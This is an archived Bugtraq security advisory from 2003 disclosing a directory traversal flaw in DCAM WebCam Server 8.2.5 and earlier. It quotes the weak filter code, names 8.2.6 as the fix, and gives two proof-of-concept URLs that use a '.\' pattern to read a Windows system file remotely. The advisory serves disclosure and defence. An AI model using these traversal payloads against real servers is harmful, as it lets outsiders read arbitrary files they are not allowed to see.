bugtraq - Directory traversal bug in DCAM server <= 8.2.5

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite: Windows password security audit tool. GUI, reports in PDF.

[<prev] [next>] [day] [month] [year] [list]

Message-ID: <20031222174258.6b31c7c6.aluigi@altervista.org>
Date: Mon, 22 Dec 2003 17:42:58 +0000
From: Luigi Auriemma <aluigi@...ervista.org>
To: bugtraq@...urityfocus.com
Subject: Directory traversal bug in DCAM server <= 8.2.5



#######################################################################

                             Luigi Auriemma

Application:  DCAM WebCam server
              http://www.hyperionx.com
              http://sourceforge.net/projects/dcamserver/
Versions:     <= 8.2.5
Platforms:    Windows
Bug:          Directory traversal bug
Risk:         high
Exploitation: remote with browser
Date:         22 Dec 2003
Author:       Luigi Auriemma
              e-mail: aluigi@...ervista.org
              web:    http://aluigi.altervista.org


#######################################################################


1) Introduction
2) Bug
3) The Code
4) Fix


#######################################################################

===============
1) Introduction
===============


DCAM WebCam Server is an OpenSource program written in VisualBasic that
allows to capture live streaming video and to broadcast it on the web
through the built-in webserver.



#######################################################################

======
2) Bug
======


The webserver built into DCAM uses a protection to avoid the directory
traversal bug.
We can see it in Form1.frm:

...
880    page = Replace(page, "..", "")
881    page = Replace(page, "./", "")
882    page = Replace(page, "/.", "")
883    page = Replace(page, "//", "")
884    page = Replace(page, "\", "")
...

The problem happens when the attacker uses the pattern ".\" that
deceives the checks and allows him to see and download any file in the
remote system knowing the path.



#######################################################################

===========
3) The Code
===========


http://server/.\.\.\.\/windows/system.ini
http://server/.\.\.\.\.\.\.\.\.\.\/windows/system.ini



#######################################################################

======
4) Fix
======


Version 8.2.6


#######################################################################


--- 
Luigi Auriemma
http://aluigi.altervista.org